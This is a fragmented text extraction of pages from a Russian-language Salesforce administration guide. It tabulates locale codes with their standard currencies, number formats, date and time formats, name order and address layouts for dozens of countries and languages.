1,234.566:00 AM2/28/2008 4:30
PM

Гульден
Антильских
островов:
ANG

en_SXАнглийский
(Синт-Мартен
(нидерландская
часть))

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Доллар
Соломоновых
островов: SBD

en_SBАнглийский
(Соломоновы
острова)

Город,
Область

342

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2008/02/28
4:30 PM

РандЮАР:
ZAR

en_ZAАнглийский
(ЮАР)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Лилангени
Свазиленда:
SZL

en_SZАнглийский
(Свазиленд)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Танзанийский
шиллинг: TZS

en_TZАнглийский
(Танзания)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Паанга
Тонга: TOP

en_TOАнглийский
(Тонга)

Город,
Область

343

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Доллар
Тринидад и
Тобаго: TTD

en_TTАнглийский
(Тринидад и
Тобаго)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Угандийский
шиллинг:
UGX

en_UGАнглийский
(Уганда)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Британский
фунт
стерлингов:
GBP

en_GBАнглийский
(Великобритания)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Доллар
США: USD

en_USАнглийский
(США)

Город,
Область

344

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

ВатуВануату:
VUV

en_VUАнглийский
(Вануату)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.02.2008
16:30

Евро: EURet_EEЭстонский
(Эстония)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.2.2008
16:30

Евро: EURfi_FI_EUROФинский
(Финляндия,
евро)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.2.2008
16:30

Евро: EURfi_FIФинский
(Финляндия)

Город,
Область

345
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Евро: EURfr_BEФранцузский
(Бельгия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:002008-02-28
16:30

Канадский
доллар: CAD

fr_CAФранцузский
(Канада)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Франк
Коморских
островов:
KMF

fr_KMФранцузский
(Коморские
острова)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Евро: EURfr_FR_EUROФранцузский
(Франция,
евро)

Город,
Область

346
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Евро: EURfr_FRФранцузский
(Франция)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Гвинейский
франк: GNF

fr_GNФранцузский
(Гвинея)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Гурд Гаити:
HTG

fr_HTФранцузский
(Гаити)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Евро: EURfr_LUФранцузский
(Люксембург)

Город,
Область

347

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Мавританская
угилья: MRO

fr_MRФранцузский
(Мавритания)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Евро: EURfr_MCФранцузский
(Монако)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1'234.5606:0028.02.2008
16:30

Швейцарский
франк: CHF

fr_CHФранцузский
(Швейцария)

Город

Страна —
Область
Почтовый
индекс

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028/02/2008
16:30

Франк
тихоокеанских
территорий
Франции: XPF

fr_WFФранцузский
(Уоллис и
Футуна)

Город,
Область

348
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:002008-02-28
16:30

Грузинский
лари: GEL

ka_GEГрузинский
(Грузия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_AT_EUROНемецкий
(Австрия,
евро)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_ATНемецкий
(Австрия)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_DE_EUROНемецкий
(Германия,
евро)

Почтовый
индексГород

Область
Страна

349
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_DEНемецкий
(Германия)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_LU_EUROНемецкий
(Люксембург,
евро)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Евро: EURde_LUНемецкий
(Люксембург)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1'234.5606:0028.02.2008
16:30

Швейцарский
франк: CHF

de_CHНемецкий
(Швейцария)

Почтовый
индексГород

Область
Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:00 πμ28/2/2008 4:30
PM

Евро: EURel_GRГреческий
(Греция)

350
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0016:30
28/02/2008

Израильский
шекель: ILS

iw_ILЕврейский
(Израиль)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

 ,   .   :              / /      :   PMИндийская
рупия: INR

hi_INХинди
(Индия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Фамилия
Имя

1 234,566:002008.02.28.
16:30

Венгерский
форинт: HUF

hu_HUВенгерский
(Венгрия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.2.2008
16:30

Исландская
крона: ISK

is_ISИсландский
(Исландия)

351
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Индонезийская
рупия: IDR

in_IDИндонезийский
(Индонезия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Евро: EURga_IEИрландский
(Ирландия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566.0028/02/2008
16.30

Евро: EURit_ITИтальянский
(Италия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1'234.5606:0028.02.2008
16:30

Швейцарский
франк: CHF

it_CHИтальянский
(Швейцария)

Город

352
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Страна —
Область
Почтовый
индекс

Страна

Почтовый
индекс

Фамилия
Имя

1,234.566:002008/02/28
16:30

Японская
йена: JPY

ja_JPЯпонский
(Япония)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028.02.2008
16:30

Казахстанский
тенге: KZT

kk_KZКазахский
(Казахстан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/2/2008,
16:30

Камбоджийский
риель: KHR

km_KHКхмерский
(Камбоджа)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Киргизский
сом: KGS

ky_KGКиргизский
(Киргизия)

Город,
Область

353

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56오전 6:002008. 2. 28 PM
4:30

Северокорейская
вона: KPW

ko_KPКорейский
(Северная
Корея)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Страна

Почтовый
индекс

Фамилия
Имя

1,234.56오전 6:002008. 2. 28 PM
4:30

Корейская
вона: KRW

ko_KRКорейский
(Южная
Корея)

Область
Город

Адрес: строка
1,

Адрес: строка
2

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Лаосский
кип: LAK

lo_LAЛаосский
(Лаос)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028.02.2008
16:30

Евро: EURlv_LVЛатвийский
(Латвия)

Город,
Область

354

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606.002008.2.28
16.30

Евро: EURlt_LTЛитовский
(Литва)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Конголезский
франк: CDF

lu_CDЛуба-катанга
(Конго,
Киншаса)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Евро: EURlb_LUЛюксембургский
(Люксембург)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.2.2008
16:30

Македонский
динар: MKD

mk_MKМакедонский
(Македония)

Город,
Область

355

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:00 AM28/02/2008
4:30 PM

Брунейский
доллар: BND

ms_BNМалайский
(Бруней)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/02/2008
4:30 PM

Малайзийский
ринггит: MYR

ms_MYМалайский
(Малайзия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:0028/02/2008
16:30

Евро: EURmt_MTМальтийский
(Мальта)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

 ,   .    :      -  -     :  Непальская
рупия: NPR

ne_NPНепальский
(Непал)

Город,
Область

356

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028.02.2008
16:30

Норвежская
крона: NOK

no_NOНорвежский
(Норвегия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

          :   :     / /    Афганский
афгани
(новый): AFN

ps_AFПушту
(Афганистан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

          :   :        /  / Иранский
риал: IRR

fa_IRПерсидский
(Иран)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:0028.02.2008
16:30

Польский
злотый: PLN

pl_PLПольский
(Польша)

Город,
Область

357

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-02-2008
16:30

Ангольская
кванза: AOA

pt_AOПортугальский
(Ангола)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028/02/2008
16:30

Бразильский
реал: BRL

pt_BRПортугальский
(Бразилия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-02-2008
16:30

Эскудо
Кабо-Верде:
CVE

pt_CVПортугальский
(Кабо-Верде)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028/02/2008
16:30

Новый
мозамбикский
метикал: MZN

pt_MZПортугальский
(Мозамбик)

Город,
Область

358

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-02-2008
16:30

Евро: EURpt_PTПортугальский
(Португалия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028-02-2008
16:30

Добра
Сан-Томе:
STD

pt_STПортугальский
(Сан-Томе и
Принсипи)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008,
16:30

Молдавский
лей: MDL

ro_MDРумынский
(Молдова)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Румынский
лей (новый):
RON

ro_ROРумынский
(Румыния)

Город,
Область

359

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1’234.5606:0028.02.2008
16:30

Швейцарский
франк: CHF

rm_CHРетороманский
(Швейцария)

Город

Страна —
Область
Почтовый
индекс

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Бурундийский
франк: BIF

rn_BIРунди
(Бурунди)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.02.2008
16:30

Российский
рубль: RUB

ru_RUРусский
(Россия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:002008-02-28
16:30

Конвертируемые
марки: BAM

sr_BAСербский
(Босния и
Герцеговина)

Город,
Область

360

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606.0028.2.2008.
16.30

Сербский
динар: RSD

sr_RSСербский
(Сербия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606.0028.2.2008.
16.30

Сербский
динар: CSD

sr_CSСербский
(Сербия и
Черногория)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008.
16:30

Доллар
США: USD

sh_BAСербскохорватский
(Босния и
Герцеговина)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008.
16:30

Доллар
США: USD

sh_MEСербскохорватский
(Черногория)

Город,
Область

361

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008.
16:30

Доллар
США: USD

sh_CSСербскохорватский
(Сербия и
Черногория)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.2.2008
16:30

Евро: EURsk_SKСловацкий
(Словакия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028.2.2008
16:30

Евро: EURsl_SIСловенский
(Словения)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 sn.28/02/2008
4:30 PM

Джибутийский
франк: DJF

so_DJСомалийский
(Джибути)

Город,
Область

362

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 sn.28/02/2008
4:30 PM

Сомалийский
шиллинг: SOS

so_SOСомалийский
(Сомали)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028/02/2008
16:30

Аргентинский
песо: ARS

es_ARИспанский
(Аргентина)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00:00 AM28-02-2008
04:30 PM

Боливийский
боливиано:
BOB

es_BOИспанский
(Боливия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28-02-2008
04:30 PM

Чилийское
песо: CLP

es_CLИспанский
(Чили)

Город,
Область

363

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Колумбийское
песо: COP

es_COИспанский
(Колумбия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM28/02/2008
04:30 PM

Костариканский
колон: CRC

es_CRИспанский
(Коста-Рика)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Кубинское
песо: CUP

es_CUИспанский
(Куба)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM28/02/2008
04:30 PM

Доминиканское
песо: DOP

es_DOИспанский
(Доминиканская
Республика)

Город,
Область

364

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Доллар
США: USD

es_ECИспанский
(Эквадор)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM02-28-2008
04:30 PM

Сальвадорский
колон: SVC

es_SVИспанский
(Сальвадор)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM28/02/2008
04:30 PM

Кетсаль
Гватемалы:
GTQ

es_GTИспанский
(Гватемала)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM02-28-2008
04:30 PM

Лемпира
Гондураса:
HNL

es_HNИспанский
(Гондурас)

Город,
Область

365

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM28/02/2008
04:30 PM

Мексиканское
песо: MXN

es_MXИспанский
(Мексика)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM02-28-2008
04:30 PM

Кордоба
Никарагуа:
NIO

es_NIИспанский
(Никарагуа)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM02/28/2008
04:30 PM

Панамский
бальбоа: PAB

es_PAИспанский
(Панама)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Парагвайский
гуарани: PYG

es_PYИспанский
(Парагвай)

Город,
Область

366

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Новый соль
Перу: PEN

es_PEИспанский
(Перу)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:00 AM02-28-2008
04:30 PM

Доллар
США: USD

es_PRИспанский
(Пуэрто-Рико)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Евро: EURes_ES_EUROИспанский
(Испания,
евро)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,566:0028/02/2008
16:30

Евро: EURes_ESИспанский
(Испания)

Город,
Область
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 a.m.2/28/2008 4:30
PM

Доллар
США: USD

es_USИспанский
(США)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Уругвайский
новый песо:
UYU

es_UYИспанский
(Уругвай)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:00 AM28/02/2008
04:30 PM

Венесуэльский
боливар
фуэртэ: VEF

es_VEИспанский
(Венесуэла)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,5606:002008-02-28
16:30

Шведская
крона: SEK

sv_SEШведский
(Швеция)

Город,
Область
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Филиппинское
песо: PHP

tl_PHТагальский
(Филиппины)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM2/28/2008 4:30
PM

Таджикский
сомони: TJS

tg_TJТаджикский
(Таджикистан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 am2-28-2008 4:30
PM

Индийская
рупия: INR

ta_INТамильский
(Индия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 am2-28-2008 4:30
PM

Рупия
Шри-Ланки:
LKR

ta_LKТамильский
(Шри-Ланка)

Город,
Область

369
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 น.28/2/2551, 16:30 น.Тайский бат:
THB

th_THТайский
(Таиланд)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00        28/02/2008
4:30 PM

Эфиопский
быр: ETB

ti_ETТигринья
(Эфиопия)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1.234,5606:0028.02.2008
16:30

Турецкая
лира (новая):
TRY

tr_TRТурецкий
(Турция)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1 234,566:0028.02.2008
16:30

Украинская
гривна: UAH

uk_UAУкраинский
(Украина)

Город,
Область

370
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Формат
адреса

Формат
имени

Формат
чисел

Формат
времени

Формат
даты и
времени

Стандартная
валюта

КодИмя

Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.566:00 AM28/2/2008 4:30
PM

Пакистанская
рупия: PKR

ur_PKУрду
(Пакистан)

Город,
Область
Почтовый
индекс

Страна

Адрес: строка
1,

Адрес: строка
2

Обращение
Имя
Фамилия

1,234.5606:002008-02-28
16:30

Узбекский
сум: UZS

uz_LATN_UZУзбекский
(LATN, UZ)

Город,
Область
